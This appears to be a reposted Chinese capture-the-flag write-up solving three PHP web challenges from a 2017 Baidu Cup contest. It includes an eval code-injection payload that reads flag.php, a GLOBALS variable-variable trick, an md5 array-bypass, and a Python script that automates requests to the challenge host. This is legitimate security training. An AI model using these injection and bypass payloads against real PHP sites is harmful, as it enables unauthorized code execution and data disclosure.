“百度杯”CTF比賽 2017 二月場(Misc Web)
阿新 • • 發佈:2018-04-22
函數 ext time() info erro 一段 hello span clas
-
爆破-1:
打開鏈接,是502
我直接在後面加個變量傳參數:?a=1
出了一段代碼
var_dump()函數中,用了$$a,可能用了超全局變量GLOBALS
給hello參數傳個GLOBALS
得到flag
-
爆破-2:
打開鏈接
var_dump()會返回數據變量的類型和值
eval()會把字符串當作php代碼
有兩種方法得到flag
1:?hello=file(‘flag.php‘)
2:?hello=);show_source(‘flag.php‘);var_dump(
-
爆破-3:
打開鏈接,還是php代碼
<?php error_reporting(0); session_start(); require(‘./flag.php‘); if(!isset($_SESSION[‘nums‘])){ $_SESSION[‘nums‘] = 0; $_SESSION[‘time‘] = time(); $_SESSION[‘whoami‘] = ‘ea‘; } if($_SESSION[‘time‘]+120<time()){ session_destroy(); } $value = $_REQUEST[‘value‘]; $str_rand = range(‘a‘, ‘z‘); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; if($_SESSION[‘whoami‘]==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION[‘nums‘]++; $_SESSION[‘whoami‘] = $str_rands; echo $str_rands; } if($_SESSION[‘nums‘]>=10){ echo $flag; } show_source(__FILE__); ?>
關鍵幾點:
變量str_rand的值是2位小寫字母
如果SESSIONS中的whoami參數和參數value的值相等,並且md5()函數處理後的變量value的第5位開始往後4位等於0,nums就會加1,whoami的值就也會更新,當nums大於10的話,就能得到flag了
數組可以繞過md5的這個判斷,因為md5()函數處理一個數組會返回null,null==0
第一次傳參,?value[]=ea
第二次傳參,?value[]=mj,以此類推
可以寫個python腳本跑一下
import requests s = requests.session() strs = [‘abcdefghijklmnopqrstuvwxyz‘] url = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=ea" r = s.get(url) for i in range(10): url_1 = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=" + r.text[:2] r = s.get(url_1) print(r.url) if ‘flag{‘ in r.text: print(r.text)
運行結果
得到flag
“百度杯”CTF比賽 2017 二月場(Misc Web)